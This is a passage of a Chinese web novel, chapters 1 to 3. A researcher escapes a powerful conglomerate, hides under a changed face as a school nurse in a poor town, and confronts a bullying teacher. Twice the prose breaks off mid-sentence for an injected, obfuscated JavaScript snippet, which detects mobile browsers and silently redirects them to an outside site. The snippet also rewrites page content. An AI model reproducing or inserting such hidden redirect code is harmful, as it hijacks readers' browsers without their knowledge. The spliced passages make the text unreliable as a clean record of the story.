《拒收神位offer[赛博]》 1. 第1章 凌晨五点半。 “满月小姐来的这么早，月亮还没下山呢。” 身着黑色运动卫衣的男子，简单向桑格莉亚致以问候。他的头发略长，遮住了深邃的眉眼。当他咧嘴笑时，那排整齐的牙齿在昏暗的灯光下闪烁着寒光，笑容灿烂却带着一丝令人不安的意味。 这位是集团内部的知名杀手，被人成为“影子”席森。 桑格莉亚面无表情，站在那扇青蓝色的实验室大门前，眉头微蹙，冷冷地瞥了一眼他，语气中带着一丝不悦:“怎么是你，莫离呢。” 席森耸肩：“上周你的实验品暴动逃跑，他正在抓人。而你，偏偏是集团最重要的研究员，竟然被实验品打伤，上边派我来保护你。” “不需要。”桑格莉亚面色如常，下意识抚摸自己小臂处愈合的伤疤，不以为意，“我能保护好自己。” “你说的可不算。公司培养了你十多年，可不能有任何闪失。”席森停顿了一下，目光落在了桑格莉亚冰冷碧绿的瞳孔上，语气中带着一丝不易察觉的深意，“况且你对公司向来……忠心耿耿，是宝贵人才。” 桑格莉亚心中冷笑，她知道自己的价值，但她更知道席森说这番话是在敲打自己。 她没继续说什么，只是垂下眼睫：“那祝你工作顺利。” “那就多谢了。”席森弯下腰，做了一个请的手势，又替桑格莉亚刷了门禁，一派绅士作风。 桑格莉亚身着一袭白大褂，步伐坚定，如同一阵风般穿过拱形的门廊。 “满月小姐，如果不需要实验品，就告诉我，我好送到别处。”席森的唇角勾起一个嘲讽的弧度，“否则，伤了自己不说，还得每天和我碰面，我知道的，满月小姐一直……挺害怕我的，是因为什么呢？” 一阵阴风吹过，桑格莉亚头皮发麻，脚步微顿，但并未回头。 “你想多了。”桑格莉亚冷冷的声音回荡在走道里。 虽然表面上冷静，但她的内心已经开始策划下一步的行动。 这里是因特里赫德集团，也是全世界最顶尖的非凡能力研究所，更是人类欲望和野心的熔炉。 非凡能力，那是一种接近神明的力量——操控元素，迷惑心智，血肉再生，甚至……有强者可以起死回生。 这种能力从来都是上天的恩赐，能否拥有全靠遗传和运气，能力者可以轻易获取财富和地位，高人一等。 而这一现象，因为桑格莉亚的研究发生了变化。 她发现了人造非凡能力的可能性，帮助人们逆天改命，成为当下最炙手可热的研究员。 通常情况下，她都会选择那些濒临死亡的绝症患者，达成协定后再进行实验。 她的实验不仅能为绝症患者提供希望，还将非凡能力应用在更广泛的领域——这些能力可以改变人们的生活方式，甚至影响国家间的政治格局。 然而，集团高层有时会送来一些计划外的实验品，这让她有些反感。 而席森，现在似乎已经盯上了了她。 凌晨的月光静谧冰冷，透过玻璃窗洒落进来，银白色的光辉映照在桑格莉亚的办公桌上，与微弱的台灯光线交织。 她一路走到办公桌前坐下，修长的腿翘起，双手交叉抱于胸前，椅子旋转一圈，看向玻璃内被绑住的男人。 她身后的桌上，两张照片在微弱台灯下反射出幽光。 一张是桑格莉亚的毕业照，她手持学位帽，面无表情，右下角的“非凡能力遗传与开发毕业生”字样，是她学术旅程的证明。 另一张，是集体毕业照，记录着从前的岁月。 面前的男人，双手和双脚都被麻绳绑住，口鼻也被黑色胶带封住，睁着棕色大眼，眼中盛满惊恐，他看了看桌面上的照片，又看向桑格莉亚的脸，想说话，却只能发出呜咽。 桑格莉亚没有理会，拿着针管和样本瓶走向对方，利落地抽了一管血液样本，照例放于分析仪上，联通电脑，等待结果。 等做完这一切，她才好整以暇地再次坐下：“我不喜欢吵闹，可以让你说几句话，但请不要大喊大叫，否则，只能让你永远闭嘴了。” 挣扎的男人这才平静下来。 桑格莉亚探身撕开胶带，却在看清对方脸的那一刻怔愣了，因为这张面孔有些熟悉。 “桑格莉亚！我们是同学啊！”棕眼男人好像在拼命压抑自己激动的语气，但仍旧无法完全控制，“一起上过课！” 桑格莉亚回头看了眼毕业照，隐约有一些面容划过脑海，男人的样貌和记忆里对上，她点头道：“我有印象……你叫，杜朗？” 杜朗的眼睛一亮，仿佛抓住了救命稻草一般，向前蠕动，拉近两人的距离：“对对，你还记得我。” 桑格莉亚一言不发，就这样看着他，等待对方的进一步动作。 杜朗迫不及待，越靠越近：“求求你……看在我们是同学的份上，放、放过我……饶我一条命！我知道这个实验的死亡率，你放过我，我会感谢你一辈子的。” 桑格莉亚换了一下翘腿的姿势，椅子向后划去，拉开距离：“我为什么要帮你。” “我知道的！”杜朗赶紧道，“你之前就放跑了一批实验品，公司防备森严，那绝不可能是意外。” 桑格莉亚做了一个噤声的手势，眼含威胁，笑了笑：“怎么可能，集团培养我十多年，谁不知道我忠心耿耿。” 杜朗的瞳孔微缩，他的嘴唇颤抖了两下，似乎下了很大决心，才张口：“不……你知道的，根本不是那样，你父母的那场海难，就是集团设计的！他们一直在骗你！你要相信我啊，你明明听到了录音，BOSS亲口承认海难是他们故意而为！” 十二年前，桑格莉亚的父母死于一场海难，官方调查后声称是一场意外，而那艘遇难客轮，就隶属于大财阀因特里赫德集团。为了彰显社会责任感，集团资助了所有遇难者的未成年子女，直至他们完成学业，并提供工作，桑格莉亚就是其中之一。 “果然是你发的匿名邮件。”桑格莉亚的眼中闪过一丝狠厉，她单手拎住杜朗的衣领，力道之大让她的指尖泛白，“下次不要用公共网络传递信息，你不知道有种非凡能力是，‘虚拟数据追踪’吗？” “虚拟数据追踪”仪正巧是由桑格莉亚开发的成果，这项研究大大增强了集团的情报网，只需操作手掌大小的装置，就能顺藤摸瓜，摸着网线爬到别人家，扒出网络账号下的真人。 杜朗的脸立刻刷白：“难道……你早就查到了我，汇报了我叛变的事情，我才被抓……” 桑格莉亚没有回应，居高临下看着他。 “我用生命起誓，都是真的！不信你可以去查……” 杜朗还没说完，桑格莉亚就出言打断：“是谁查出来的？你背后的人？” 杜朗满脸恐惧：“你……也是来审问我的？” 他早就经历了一系列的审讯，每个人都想知道他背后所依靠的组织。 作为全国数一数二的大财阀，因特里赫德集团在军、政、商三界都有势力，可谓是只手遮天，能有勇气当叛徒，必定是背后有势可倚。 而他正是因为嘴巴极严，没有被套出任何情报，才会成为弃子，被送入实验室。 “你没有提问的权力。”桑格莉亚勾起唇角，“杜朗，放过你可以……” 凌晨的月光在杜朗颤抖的身躯上投下一层寒意，他不由得发抖。 “你必须带我离开。” 显然，这个可怜的男人摸不清桑格莉亚的想法，他拼命摇头，再次向她靠近祈求：“我背后没有什么人，我也无法带你走。” 他以为这不过是另一轮的试探折磨。 桑格莉亚优雅抬脚，重重踹在了杜朗的胸口，他一个踉跄向后倒去，背部“咚”地一声着地。 紧接着，她又拿着实验针管，步步逼近，一只手掐住杜朗的脖子，另一只手将针管抵在杜朗的皮肤上，鼻尖凑近杜朗的惊恐面容：“你的命在我手上。要么带我一起走 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“通讯工具当然没问题，我还能给你提供加密通道。”桑格莉亚似乎早就为这次逃亡做了准备，从保险柜中拿出两个泛着银色光泽的面具，展示给杜朗，“另外，这是易颜面具，可以部分调整面容，是隔壁实验室开发的新品，正好两个，我已经设置好了参数，相信它们能让离开变得更加简单。” 桑格莉亚的预料没有落空，他们的逃跑计划确实不难实施。这得益于她的高权限和对环境的熟悉，以及她事先的周密准备。再加上杜朗背后组织的外部支援，他们甚至在集团的内外都有接应。 第二日凌晨，大雨如注。在雨幕的掩护下，两人轻易地离开了那栋灰白色的现代建筑。 但是，真正挑战在于如何躲避随之而来的追杀。 桑格莉亚和杜朗在雨中狂奔，他们的心跳与雨点的打击声交织在一起。 他们虽然离开研究所，却仍需逃离这座由集团彻底掌控的“沉醉之都”守野市。为了避开追捕，他们按照杜朗背后之人提供的“安全路线”行进，终于来到城郊交界，只差一步之遥就可以得到自由。 一路上，桑格莉亚的神经都时刻紧绷，如同拉满的弓弦。然而，当自由近在咫尺，她的精神也不由自主地松弛了些。 “就是前面！灌木丛后藏着一辆车，是给我们准备的！” 听到了杜朗的话，桑格莉亚跑到准备好的空车前，正打算开门上车，只听“砰”地一声，汽车前轮爆炸，整辆车吱哇乱叫，警报声响彻夜空，他们立刻如同惊弓之鸟般，战栗了起来。 碎片漫天飞扬，桑格莉亚骤然被呛，咳嗽两声后回头，看见以席森为首，公司培养的杀手们紧随他们而来，十几个黑洞洞的枪口对着他们，而那些非凡能力者们也都各尽其能，眼见着他们之间的距离也就剩下了几十米。 “快跑！”杜朗当机立断，放弃开车，双腿疯狂奔跑。 “桑格莉亚！你去哪里！”那是席森的声音。 桑格莉亚头也不回，咬紧牙关拔腿就跑。 雨越下越大，漫天的雨水逐渐淹没了桑格莉亚的视线，她只知道自己需要一直往前跑，子弹在身后穿梭，她不知道自己是否会被击中，幸运的是现在位于野外，杜朗同伴也已经就位，在前方的树丛中开火为他们做掩护。 “往我们这里跑！”雷电交加，桑格莉亚听见杜朗的同伴们在呼喊她。 而此时，一发子弹从她的锁骨下方穿出，只留下一个血色的窟窿。 呆愣了一瞬间，桑格莉亚本能地用手去捂住洞口，然后回头看了一眼正在混乱交手的战场，突然下定决心，调整前进路线，朝着无人的方向狂奔而去。 也不知行进了多久，桑格莉亚昏倒在了雨水和污泥中，她凭借最后一丝意识，为自己设置了易颜面具，生成了一张虚拟面容，隐藏了自己的真实身份。 2. 第2章 “什么？桑格莉亚叛逃了？”玻璃茶杯被摔碎在地上，带着圆框眼镜的中年男人恼怒地盯着眼前人，那正是因特里赫德集团的“影子”席森。 “她跟谁走了？哪家财阀？还是异教会？还不赶紧发布通缉令给追回来！” 他是因特里赫德集团开发部的领导查理斯，也是桑格莉亚的直属上级，只是这位女研究员价值重大，她的存在让他感到自己的权威受到了挑战，因此积怨颇深。 席森两手一摊，表情漠然：“不清楚，杜朗的嘴巴紧的很。之前多少人审讯过了，他却始终不张口，你又不是不知道。” “你怎么办的事，竟然让她逃走了？”查理斯烦躁极了，“连个文弱的研究员都看不住？莫离看了她这么多年都没事，怎么你一来人就没了？” 席森不出声，只是报臂冷眼上下打量查理斯，像是在看一具会说话的尸体。 查理斯打了个冷战，但他依旧硬着头皮说道：“席森，这件事要是被BOSS知道了，我们两个谁都活不了，还是赶紧把人找回来，就算没法活捉，也绝不能让别人得到她。” “BOSS是BOSS，你是谁。”席森嘲讽道，“BOSS想要的是活人，桑格莉亚临走前几乎清除了所有的研究资料，如果找不回来，BOSS的大项目就要等到下一个天才研究员出现，才能启动了。” 席森一语双关，表面说BOSS想要桑格莉亚活口，言下之意又暗示是查理斯是哪根葱，也敢跟他吆五喝六。 查理斯立刻就听出了这层含义，只是他对席森又害怕又恼火，现在还得被迫合作，憋屈得很：“……她不会已经被别的组织秘密保护起来了吧。” 席森不耐地翘起腿：“或许吧。不过这个女人，向来心思难猜，或许利用完人又一脚踹了，自己躲起来了。” 另一边，太阳镇。 “怎么又受伤了！”金发女孩艾琳的惊呼划破了屋内的宁静。 “还不是那个杀千刀的射击老师海威尔，他太过火了。”稚嫩的男声中透露着不满，然后又是一阵嚎叫，“啊啊啊……好痛！你轻一点。” “你不要乱动！我都不好包扎了！”女生呵斥道，声音中带着一丝无奈“还有，少说老师的坏话，我们家可就靠着学校的补助金生活呢！” “要不是你觉醒了非凡能力，得到了补助，我们恐怕早就饿死了。” “我还不知道吗！我只是在家里抱怨两句。” …… 这些声音又远又近，似乎不是很真切。迷迷糊糊中，桑格莉亚睁开了眼睛，她先是看见了雪白的天花板，然后又看见了对面收纳柜上凌乱地堆放着各种杂物，空气中传来了营养剂的香味。 她瞬即就回忆起了倒下前的画面。 桑格莉亚强忍疼痛，用没有受伤的手撑起身，这才发现自己其实是睡在沙发上，身处于一个狭窄逼仄的客厅内，显然这户人家并不富裕，甚至有些贫困。 “诶？你怎么起来了！”女孩踩着拖鞋，啪嗒啪嗒走过来，按住桑格莉亚，“你快躺下，受了这么严重的伤！” 桑格莉亚有些发愣，嘶哑着开口：“你们是……” 面前的男孩女孩对视一眼，向她介绍了自己。这两人长得极为相像，是一对姐弟，姐姐叫艾琳，弟弟叫艾斯，是小镇上的住户。 “我一早开门就看见了你，倒在我们家后院里。昨天雨下得那么大，你还伤得这么重，还好我包扎技术一流，早在我弟弟身上练出来了，瞧瞧看，还不错吧。”艾琳得意洋洋，很是满意自己作品的样子。 一旁的弟弟艾斯，撅着嘴，也不看沙发上的桑格莉亚，似乎正生着闷气。 桑格莉亚一低头，看见一个硕大的蝴蝶结，以及乱七八糟的纱布，她沉默了一会，然后抬头礼貌道：“谢谢你，不过还有多余的伤药和纱布吗？” 片刻后，姐弟俩嘴巴微张，震惊地看着桑格莉亚熟练的手法，和她攀谈了起来。 艾斯好像来了点兴趣，凑过来：“你的手法还挺专业，是医生吗？你可以处理我的伤口吗？” 桑格莉亚轻抬眼皮，沉默不语，但手上已经开始拆卸艾斯身上的纱布，安静换药，干净利落。 艾琳又称赞了两声，才问道：“小妹妹，你叫什么名字？” 桑格莉亚忽然想起，此时的自己已经用“易颜面具”调整了面容，本名也是不能再用了，要给自己弄个新身份才行。 她没张口，旁边的艾斯却像个炮仗似的抢着开口了：“喂，你该不会是什么身份不明的危险家伙吧，我就说，让姐姐不要带陌生人回来！” 话音刚落，他的天灵盖就挨了一巴掌。 “胡说什么呢！人家刚帮你处理完伤口，有点礼貌好不好！” 艾琳温和道：“这里是贫民窟，多的是不知来历的人。你放心，我们也困难过，没有恶意。我们这样的普通人，在这世道生存都不容易，别担心。” 桑格莉亚明白，艾琳是以为自己对他们存有戒心，才沉默不语，而对方的一番话也让桑格莉亚久违地感到了一丝温暖，她缓缓道：“我叫安戈，曾经是个……医生。” 安戈如今所在的地方是一座小乡镇，距离集团掌控的“沉醉之都”守野市有些距离，但也并不算太远。 在得知这一消息时，她权衡了一番——自己现在伤势严重，而且最危险的地方也许就是最安全的地方，或许在守野市周边，她可以暂时隐匿身份，同时观察外界的风云变幻，因此才决定暂时按兵不动。 收留她的这对姐弟自小父母双亡，生活贫困，姐姐打多份零工才能勉强让两人填饱肚子。幸好弟弟觉醒了非凡能力，在镇上的非凡能力学校就读，获得了补助金，日子这才好过了许多。 在这个世界里，大财阀控制了世界上百分之八十的非凡能力者，瓜分着绝大部分财富资源，底层人民苦不堪言，许多人都负担不起昂贵的学费和医疗费。他们唯一的机会就是获得非凡能力——因为就读于非凡学校的学生，不仅能减免学费，还能获得生活补助，相当于家中多了一个劳动力，许多人家连续生子就是期待这样的好事发生，只是拥有这样好运气的，实是少数。 安戈完全清楚他们的困境，她仍记得小时候，自己家中也是生活窘迫，父母始终寄希望于她能够觉醒能力，这样就可以逃脱贫困和欺辱。只可惜她一直没能成功，因此父母才搭乘货轮，前往大陆的另一端，想要寻找一些特殊方法，祈求神明的垂怜，改变她的人生。 也就是这一去，才遭遇了海难。 因此，安戈始终有着执念，想弄清楚获得非凡能力的奥秘，走上了研究道路，想让普通人也能够通过科技获得力量。可是，现在离开了因特里赫德集团后，她的研究条件有限，怕是不能再实现自己的梦想了。 由于艾琳的好心，家里多了一口人，他们的生活更加捉襟见肘。 为了减轻这位姐姐的负担，安戈查询了自己的银行账户，只是账上的资金早已被冻结，她现在已经是身无分文了。如果想要赚钱，她可能得想办法获得一份工作，和一个全新身份的银行账户。 想到这里，安戈开始主动询问艾琳，能否推荐几分零工给她，最好是现金日结的工作，可是艾琳却觉得安戈有更好的去处。 “听艾斯说，他们学校因为年年成绩吊车尾，员工工资垫底，学生的受伤率还高，校医的位置常年空着，既然你是医生，为什么不去试试看呢。” “这个主意不错，你来当校医吧！”艾斯闻言也很赞同，“不仅你有工资拿，我也不用带着一身伤回家了，为了治疗，有时我们还得去医院支付高昂的医疗费。” 对于安戈来说，当校医的确是个出路，只是这下她就必须拿到一个合法的新身份了。 这倒也不难。 “杜朗，我需要身份。”安戈打开光脑手表的加密通讯方式，直截了当地说，“用易颜面具的解锁方法交换。” “……你居然还活着！”光脑另一头的杜朗差点蹦了起来。 他们二人计划逃跑时，就已经约定好了，有事就用安戈开发的加密通道交流，因为普通网络交流风险太高，容易被公司追查到，就像她能通过匿名邮件查到杜朗的身份一样。然而两人走失后，杜朗一直给她发送消息，她却没有回应。 “你竟然还回复了……”杜朗震惊不已。 桑格莉亚从未回复，他猜测对方大概率是不想跟他再有联系。她这样的人才，必然是各个组织争抢的对象。既然如此谨慎，肯定知道，一旦使用他提供的身份后，自己所在的位置就会暴露给他。 对于这点，安戈也有自己的心思，她一直不和杜朗联系也是不够信任对方和他身后的人，怕自己再次成为被利用的工具。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15190382|165578||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只是眼下获得身份更加要紧，她会尽量避免使用，但不能没有身份，再说了，她有易颜面具，对方真找上门来也可以随时撤退。 “少废话，你不想学吗？” 安戈的提议让杜朗很是心动，他的□□被桑格莉亚提前锁定，并设置好了参数，只能呈现出一种面容，无法更改，也就是说他只能使用这一张脸。而桑格莉亚却掌握了这张脸的全部信息。 “明白，等好吧您。” 杜朗没有犹豫，一口应下，这件事对他有利无害。 然而，安戈显然是多虑了，她去应聘校医岗位时，校长压根没有查明她的身份。 原因很简单，这所学校破败不堪，杂草丛生，门口的标牌都已经摇摇欲坠，她走进学校时，孟校长正辛辛苦苦，自己拿着钉子和榔头修补大门。 “哦？你来应聘校医？”孟校长上下打量了一番安戈，眼神怀疑“你知道我们学校的情况吗？” 安戈犹豫了一下，环视四周一圈，还是坦率开口道：“快要倒闭了？” …… 孟校长差点噎住，尴尬咳了一声：“也……不用这么直白，呸，我们只是经费紧缺，能提供的工资也很有限。” 安戈也并不在意，因为本来也只是想偿还欠艾琳姐弟的债务。 “能满足基本生活需要就行。” “行。”校长拍了拍手上的灰尘，指了指操场上正在训练的学生们，“你去找两个受伤的学生，看看能不能解决他们的问题，能解决明天就来上班。” 这对于安戈来说自然是很简单。她从小身处于危险中，简单的外伤治疗是必修课，更何况她还擅长非凡能力的修复和开发，辅助学生恢复手到擒来，三两下就通过了校长的测试，获得了这份工作。 艾琳和艾斯姐弟俩也很高兴，尤其是艾琳。她本身就善良、热心肠，将安戈当成一个柔弱内向的小妹妹，希望她能够越来越好，而安戈带回来的工资也让这个贫困小家，财政状况略微好转。 艾斯原本还对安戈非常警惕，可是见她总是不言不语，好像没什么危险的样子，如今还能带来金钱，对她的态度也略有好转。 这一切进行得太过顺利，甚至让安戈产生了一种错觉，或许她真的能在这里长久地呆下去，以一个普通人的身份，做着普通的事情，安稳地度过这一生。 当然，这不过是错觉。 很快，安戈就在报纸和小镇的大街小巷上，看到了自己的“悬赏令”。 “现世神明被人暗算，人造非凡能力能否重现人世间？” “震惊！天才研究员‘桑格莉亚’走失，因特里赫德公司赏金千万，愿能找回人类之光！” “桑格莉亚被危险组织劫持，重要研究结果被盗，因特里赫德重金寻人！” “金牌杀手‘梦靥’、‘影子’出动，无论生死，必将带回桑格莉亚。” …… 雪花般的传单散落在天际，每一片上都印有桑格莉亚的容貌，安戈冷静地看着这一切，并不慌张。该来的迟早会来，她早就预料到了。 她在离开前删除了自己的大部分研究成果，因特里赫德集团应该正在焦头烂额吧，即使要培养新的研究员，没有已有成果作为基础，推进计划也要耗费不少时间，他们当然会不惜一切代价找到自己。 所以她必须带走□□，想必不会那么快被发现。只要她一直隐姓埋名，不引起旁人的注意即可。 安戈内心平稳地穿行在校园内，盘算着还完欠款之后该怎么办。 这上午看起来相当平凡，就如同这几个月来的每一天，平静而安宁，仿佛她已经远离了过去那种充满欺骗、阴谋和对抗的生活。 可是正当她准备走进办公室楼时，忽然发现，校园内格外地安静，安静到有些不同寻常，这种安静让安戈地心中莫名地升起了不详的预感。 下一秒，熟悉的子弹声从耳畔呼啸而过，击碎了一楼保健室的玻璃窗，碎片散落一地。 安戈的身体僵硬，心跳加快，瞳孔放大，她缓缓侧过头，只见一个穿着极具流浪者特色的粗野男子举着枪，正在秒准。 那人贪婪嗜血的眼神让安戈钉在了原地。 射击老师海威尔挑衅似的活动着自己的肩颈，轻飘飘地说道：“哟，原来只是校医小姐啊……你的背影有点像悬赏单上的桑格莉亚。” 3. 第3章 “这你都能看错！红头发和黑头发分不出来吗！” 艾斯一脸气愤地跑过来质问海威尔。 此刻，安戈的肌肉紧绷，拳头不自觉地攥紧，脑海中有无数猜想闪过——他究竟是什么人？真的看出她的身份了吗？还是在试探她？ 易颜面具改的了五官，却改不了身形和背影，于是安戈早就将自己的红色长发剪成齐肩，染成黑色，和以前看起来气质上差别很大，显得乖巧安静了不少。在衣着装扮上她也做了相应调整，原先成熟干练，如今更加年轻休闲一些。 印象中，她以前从未见过海威尔这号人……至少和她并不相熟，为什么会认出她来？ 海威尔一掌拍在了艾斯的背上，他下手没轻没重，艾斯立刻痛得呛咳出声：“咳……你干嘛！” “谁给你的胆子跟我大呼小叫？”海威尔神色愠怒，又瞥了安戈一眼，不屑道，“和桑格莉亚一样，都是些没有觉醒非凡能力的下等人，倒也没什么区别……能换赏金算是最大的用处了，可惜你不是。” 安戈安戈微眯起双眼，盯着海威尔的褐色头巾和满身乱晃的杂乱流苏，这人身上还散发出浓烈的酒味，看来是宿醉过了一场，像是还没有清醒就来上班了。只是不知道他是真的醉了，还是装醉。 “看来海威尔老师很得意自己的能力。”安戈装作无知的模样，眨巴着眼睛，“非凡能力者果然不一般。” 海威尔好像听到了什么好笑的事情一般，前仰后合：“哈哈哈哈哈，你真有意思，说这种废话。” 他单手叉腰，微微用力，胳膊上的肌肉立刻膨胀突出起来，比寻常成年男子的大腿还要粗，他随意伸手，一把揪住安戈的后脖衣领，安戈只觉双腿突然悬空离地，衣领扼住了她的脖颈，有些喘不过气。 “这就是能力者的力量，你们这种普通人恐怕一辈子也体验不到了。”海威尔轻蔑地将安戈扔到了办公楼的墙角，仿佛仍掉一团垃圾。 安戈被扔到地上。 此时她已经冷静了一些，她冷眼看着海威尔，又想起艾斯曾经说过的话——海威尔老师暴躁易怒，喜欢挑衅争斗，让安戈不要招惹他。那么现在，这人大概率只是在耍酒疯，以挑衅欺辱普通人为乐，于她而言没有威胁，只要正常表现就好。 安戈微微整理了下自己的衣领，并不像过多纠缠，起身离开，却又听见海威尔沉重的步伐声中夹杂着几句谩骂：“晦气，要和这种杂碎一起工作，难怪这学校越来越垃圾……” 随着他大步流星地走远，声音越来越小，安戈在心里评估着这个海威尔的能力，凭借她的经验，这位老师的非凡能力应当位于B级，是力量强化类，最普通不过的能力，可用此来欺压普通人，也足够了。 只是她现在最好不要节外生枝，惹人瞩目，否则她倒是想好好戏耍他一番。她知道，在这个小镇上，她必须更加小心谨慎，才能保持自己的隐秘生活。 艾斯快走两步跟着安戈进了教学楼，斜睨了她一眼：“喂，我可不是在关心你，只是他下手重，经常伤人，而且最看不起无能力者，我来提醒你一下，最好离他远点！” “知道了。”安戈掏出钥匙，打开保健室的门，她的眼神在昏暗的走廊灯光下晦暗不明，“他就是那个射击课老师？总让学生受伤的那个。” “对。”艾斯无奈道。 安戈给艾斯倒了一杯水，忍不住提醒了一句：“这种训练方式可不行，过度使用非凡能力会损害人的精神状态。” 安戈本就是研究非凡能力开发的专家，不仅能开发普通人的非凡能力，也非常擅长训练能力者，她很清楚这样下去的后果，对于这些学生恐怕没有好处。 “他哪管这些！‘普通人是垃圾！你们也只是比垃圾好一点！’，这是他的口头禅。”艾斯模仿者海威尔的语气，带着明显的不满。 “不过，我们确实在潜力检测中获得的分数不高，否则也不会在小镇上读书了。” 每一个拥有非凡能力的学生，都要进行潜力检测，评估他可能发展出的实力。 潜力等级从一星到六星不等，得到的星星越多，发展出高级能力的可能性就越大。三星以上的会被大城市的好学校优先选走，这附近的大多是去了因特里赫德集团控制的守野市，以后也大概率会成为集团的螺丝钉。而留在小镇上的，基本是三星及以下的孩子，所以海威尔对于这些学生向来不屑。 安戈所研究的能力开发，倒是可以大幅度提升他们的潜能，给这些学生逆天改命的机会。只是如今，她身份敏感，暂时还不想搅乱这趟浑水。 安戈淡定地喝了口咖啡：“谁是垃圾可不好说。” 自从和安戈搭上线之后，杜朗就像是找到了聊天的倾泻口，劈里啪啦地向她倒豆子。安戈几乎不大回应，可对方总能自己给自己找话口。 “说起来，我当时还以为自己听错了……本来以为你会潜伏在集团内，想方设法地去报仇，没想到是逃出来……” 杜朗的声音非常刺耳，安戈手指悬在挂断键上，心中挣扎。 “你有没有想过，离开集团后要干什么？”杜朗的语气带着一丝兴奋。“我打算，躲过这一阵子，就去乡下找块地种，或是找个小城市，做些平常的工作。” “我？”安戈微微发愣，她这几天正在想，要是能一辈子在这里做个小医生，远离那些权谋纷争，似乎也不错。 自从被集团资助后，安戈就极少和外界接触，整日都在学校和实验室里度过，她几乎没有想过，她有一天会离开自己的实验室。 直到杜朗给她发送的录音邮件里,，她亲耳听到集团的BOSS轻描淡写地说出“桑格莉亚当然不知道，那场海难就是我们搞的”。 这番话在她的心里掀起惊涛骇浪。她的父母，他们并非死于意外，而是集团的阴谋。 她本应想方设法复仇，可是集团的势力太大了，天才如她也不过是那些贪婪财阀手中的一枚棋子，再加上她不愿意让自己的研究沾染无辜者的鲜血，所以必须逃离。 可是，逃离之后呢？对于接下来的生活，她还没有太多想法，先躲过搜捕再说吧。 “不过，你应该不会这样吧，”杜朗继续说道，“毕竟你的研究项目这么珍贵……” “你说完没有？”安戈心烦意乱，终于忍不住打断了杜朗的喋喋不休，“没事不要我联系。” “明白明白，我只是来提醒你，公司在黑市也发了悬赏。就连你的老朋友莫离，还有席森，这两位最顶尖的杀手全派出来了，你可真是重要啊。只是可惜，连带我一起悬赏了，你说我哪值得这两位出马呀……” 安戈的余光瞥见已经操场上已经下课，学生们一瘸一拐，正陆陆续续地走过来：“知道了，谢谢提醒。” 她掐了电话，可是心中波澜久久不能平息。 “找什么校医？我说没事就是没事。” 人还没进来，安戈就听到了海威尔那粗犷带着点醉意的声音。 紧接着，艾斯和几个学生就抬着一个昏迷的少年冲了进来：“安医生！快救救他，他突然一下就昏过去了！” 安戈皱起眉头，迅速起身：“发生了什么？” “没什么，我猜是这小子身体素质太差，多练练就好了。”海威尔漫不经心地往沙发上一坐，摊成一滩烂泥，手中还拿着一个保温杯，“或者压根就没事，只是装的，逃避训练。” 安戈简直听不下去，无视了眼前这个烂醉如泥的人，转而问艾斯：“你来说。” “刚才我们训练的时候，海威尔老师打了他一拳，然后他就这样了！” 仅仅打了一拳？安戈狐疑地皱起眉。 以非凡能力者的体能、抗击打能力、身体恢复能力都远超普通人，仅凭海威尔的B级实力，仅凭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15190383|165578||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一拳就能击倒非凡能力者，致使昏迷不醒？安戈心下一沉，觉得事情没有那么简单。 安戈探听了下昏迷者的生命体征，问：“他的名字？” “林曜昕。” “能力是什么？” “火焰操纵。” 几个十六七岁的年轻学生，争抢着回答问题，个个担心地守在旁边。 安戈听闻，顿时怔愣住，不可思议地看向检查床上的少年——难道，是她想的那样？ 还没来得及进一步确认，安戈就闻到一股廉价酒味从门口的沙发处飘来，只见海威尔旋开了保温杯盖子，咕嘟咕嘟喝下——他保温杯里装的是高度烈酒，可真是……无法无天。 安戈忍无可忍，“啪”地一下打开保健室的门，冷声道：“要喝出去喝。” “嗝……”海威尔打了个饱嗝，在沙发上纹丝不动，只是醉眼朦瞥向安戈，抬高了嗓门，“你……跟我叫板？” 安戈也加大了音量：“海威尔老师，好像很是自负……不过，要我说，你恐怕高估了自己的实力。” 她语气平淡，却让艾斯和其它几个学生猛吸一口凉气，缩起了脖子，惊恐地看着烂泥般的海威尔。 “哈哈哈哈。”海威尔爆发出一阵惊雷般的笑声，“小丫头片子，说话注意点。” 说罢，他摇晃着站起，迅速出掌，想要锁住安戈的脖子，安戈却顺势坐下，借助办公椅的滑轮，侧身闪开，再次来到检查床边。 这一切看起来像是海威尔喝醉了，而安戈又凑巧躲过。 “不如这样。”海威尔咚地靠向柜子，又猛喝了一口，“明天下午，咱俩比一场，比什么你来定，谁输了，谁就……嗝，离开这个学校。” 安戈的眼中只有床上的病人，对海威尔的话毫不在意，直接应下：“可以，就比您擅长的射击吧。不过现在，还请您出去。” 海威尔走了，学生们却急了。 “别啊，老师！你可别赌气！我们学校好不容易来个校医，你要是走了，可就没人来了啊。”一个女孩子语气焦急，“况且林曜昕还昏迷着，这可怎么办！” 安戈揉了揉自己的太阳穴：“你们有他家属的电话吗。” 几个同学立刻看向了艾斯。 “他家里就剩一个哥哥了，但是他哥哥长期在外边打工，我刚才已经给他打过了电话，说可以晚一点赶过来接他。” 安戈点点头，视线落在了几个满脸担忧的学生脸上：“我大概知道他是什么情况了，你们先回去吧。” “回去？”艾斯叫了出来。 “你们帮不上什么忙，在这里还碍手碍脚的，放心，我能处理。”安戈的语气稍微缓和了一点，安慰道。 说到底，他们都还是孩子，几人知道自己也无法帮忙，最终还是磨磨蹭蹭地离开了保健室，但艾斯临走前，一步三回头，总是一副欲言又止的模样。 